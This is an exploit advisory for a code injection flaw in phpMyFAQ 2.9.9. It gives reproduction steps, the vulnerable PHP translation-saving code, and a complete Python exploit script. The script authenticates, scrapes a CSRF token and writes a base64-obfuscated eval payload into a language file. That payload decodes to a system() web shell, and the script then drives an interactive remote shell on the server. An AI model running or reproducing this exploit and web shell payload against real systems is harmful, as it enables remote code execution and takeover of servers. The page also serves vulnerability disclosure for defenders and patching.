phpMyFAQ 2.9.9 Code Injection

phpMyFAQ version 2.9.9 suffers from an issue where an administrative account can execute arbitrary code on the server by modifying LANG_CONF[main.metaDescription].


MD5 | 225232827b43d46c5d4a7742cbe2ff01

# Exploit Title: [PHPMYFAQ 2.9.9 Code Injection]
# Google Dork: [NA]
# Date: [Nov 6 2017]
# Exploit Author: [tomplixsee]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [ http://www.phpmyfaq.de]
# Software Link: [http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip]
# Version: [2.9.9]
# Tested on: [Ubuntu Server 16.04, PHP 7.0.22]
# CVE : [NA]


How to reproduce
1. login to administrative page (example http://vbox-ubuntu-server.me/phpmyfaq/admin/ ) as an admin or any user with right access to edit translation
2. open page configuration->interface translation (assume you use english language). fyi, edit translations only active if folder phpmyfaq/lang is writable, so make sure the folder is writable
3. choose indonesia (or another language) to edit
4. choose page 14 (in example)
5. choose variable LANG_CONF[main.metaDescription]
6. set phpinfo() as value
7. change your languge to indonesia


vulnerable code
on file admin/ajax.trans.php

43 case 'save_page_buffer':
44 /*
45 * Build language variable definitions
46 * @todo Change input handling using PMF_Filter
47 */
48 foreach ((array) @$_POST['PMF_LANG'] as $key => $val) {
49 if (is_string($val)) {
50 $val = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val);
51 $val = str_replace("'", "\\'", $val);
52 $_SESSION['trans']['rightVarsOnly']["PMF_LANG[$key]"] = $val;
53 } elseif (is_array($val)) {
54 /*
55 * Here we deal with a two dimensional array
56 */
57 foreach ($val as $key2 => $val2) {
58 $val2 = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val2);
59 $val2 = str_replace("'", "\\'", $val2);
60 $_SESSION['trans']['rightVarsOnly']["PMF_LANG[$key][$key2]"] = $val2;
61 }
62 }
63 }
64
65 foreach ((array) @$_POST['LANG_CONF'] as $key => $val) {
66 // if string like array(blah-blah-blah), extract the contents inside the brackets
67 if (preg_match('/^\s*array\s*\(\s*(\d+.+)\s*\).*$/', $val, $matches1)) {
68 // split the resulting string of delimiters such as "number =>"
69 $valArr = preg_split(
70 '/\s*(\d+)\s*\=\>\s*/',
71 $matches1[1],
72 null,
73 PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY
74 );
75 $numVal = count($valArr);
76 if ($numVal > 1) {
77 $newValArr = [];
78 for ($i = 0; $i < $numVal; $i += 2) {
79 if (is_numeric($valArr[$i])) {
80 // clearing quotes
81 if (preg_match('/^\s*\\\\*[\"|\'](.+)\\\\*[\"|\'][\s\,]*$/', $valArr[$i + 1], $matches2)) {
82 $subVal = $matches2[1];
83 // normalize quotes
84 $subVal = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $subVal);
85 $subVal = str_replace("'", "\\'", $subVal);
86 // assembly of the original substring back
87 $newValArr[] = $valArr[$i].' => \''.$subVal.'\'';
88 }
89 }
90 }
91 $_SESSION['trans']['rightVarsOnly']["LANG_CONF[$key]"] = 'array('.implode(', ', $newValArr).')';
92 }
93 } else { // compatibility for old behavior
94 $val = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val);
95 $val = str_replace("'", "\\'", $val);
96 $_SESSION['trans']['rightVarsOnly']["LANG_CONF[$key]"] = $val;
97 }
98 }
99
100 echo 1;
101 break;
102
103 case 'save_translated_lang':
104
105 if (!$user->perm->checkRight($user->getUserId(), 'edittranslation')) {
106 echo $PMF_LANG['err_NotAuth'];
107 exit;
108 }
109
110 $lang = strtolower($_SESSION['trans']['rightVarsOnly']['PMF_LANG[metaLanguage]']);
111 $filename = PMF_ROOT_DIR.'/lang/language_'.$lang.'.php';
112
113 if (!is_writable(PMF_ROOT_DIR.'/lang')) {
114 echo 0;
115 exit;
116 }
117
118 if (!copy($filename, PMF_ROOT_DIR.'/lang/language_'.$lang.'.bak.php')) {
119 echo 0;
120 exit;
121 }
122
123 $newFileContents = '';
124 $tmpLines = [];
125
126 // Read in the head of the file we're writing to
127 $fh = fopen($filename, 'r');
128 do {
129 $line = fgets($fh);
130 array_push($tmpLines, rtrim($line));
131 } while ('*/' != substr(trim($line), -2));
132 fclose($fh);
133
134 // Construct lines with variable definitions
135 foreach ($_SESSION['trans']['rightVarsOnly'] as $key => $val) {
136 if (0 === strpos($key, 'PMF_LANG')) {
137 $val = "'$val'";
138 }
139 array_push($tmpLines, '$'.str_replace(array('[', ']'), array("['", "']"), $key)." = $val;");
140 }
141
142 $newFileContents .= implode("\n", $tmpLines);
143
144 unset($_SESSION['trans']);
145
146 $retval = file_put_contents($filename, $newFileContents);
147 echo intval($retval);
148 break;




the exploit
-----------------------------------------------------------------


#! /usr/bin/python
import sys, requests, argparse, readline

def main(argv):
global url, user, password
parser = argparse.ArgumentParser(description='PHPMYFAQ 2.9.9 Code Injection exploitation tool. author : tomplixsee')
parser.add_argument('-u','--url', help='target url',required=True)
parser.add_argument('-p','--password', help='password',required=True)
parser.add_argument('-s','--user', help='user',required=True)
args = parser.parse_args()

url = args.url
user = args.user
password = args.password

if __name__ == "__main__":
main(sys.argv[1:])

#get the cookie
def login():
global url, user, password,cookie
print "\033[1;33m>>>>>> logging in\033[1;m"
data = {"faqusername":user,"faqpassword":password}
headers = {
}
r = requests.post(url+"/admin/index.php", headers=headers, data=data)
if "dashboard" in r.text:
print "\033[1;32m>>>>>> login sucessful\033[1;m"
cookie = r.cookies["PHPSESSID"]
check()
else:
print "login failed"
sys.exit()

#check if user has access to edit translations.
#get the crsf token
def check():
global url,cookie, csrf
print "\033[1;33m>>>>>> check user auth\033[1;m"
headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
r = requests.get(url+"/admin/index.php?action=transedit&translang=id", headers=headers)
if ("You are not authorized." not in r.text) or ("ajaxaction=save_translated_lang&csrf" in r.text):
print "\033[1;32m>>>>>> authorized\033[1;m"
else:
print "not authorized"
sys.exit()
#get csrf token
str_csrf = r.text.split("action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf=" )
csrf = str_csrf[1][0:40]
savebuffer()

#save payload to session
def savebuffer():
global url,cookie, csrf
print "\033[1;33m>>>>>> trying to fill the buffer\033[1;m"
headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
data = {
"LANG_CONF[main.metaDescription]":'eval(base64_decode(\"c3lzdGVtKCRfUkVRVUVTVFtxXSk7IGlmKGlzc2V0KCRfUkVRVUVTVFttYXRpXSkpZGllOw==\"))'
}
r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_page_buffer&csrf="+csrf, headers=headers, data=data)
if r.text=="1":
print "\033[1;32m>>>>>> success\033[1;m"
write2file()
else:
sys.exit()

#write payload to file
def write2file():
global url,cookie, csrf
print "\033[1;33m>>>>>> write payload to server\033[1;m"
headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
data = {}
r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf="+csrf, headers=headers, data=data)
if r.text!="":
print "\033[1;32m>>>>>> success\033[1;m"
print "\033[1;32m>>>>>> enjoy your shell\033[1;m"
exploit('')
else:
sys.exit()

#send system command
def exploit(command):
global url,cookie
command = raw_input('\033[1;31mshell > \033[1;m')
if command == "exit":
print "goodbye"
sys.exit()

headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
data = {"q":command,
"mati":"mati",
"language":"id"
}
r = requests.post(url+"/admin/index.php", headers=headers, data=data)
print r.text
exploit('')

login()

Related Posts

Comments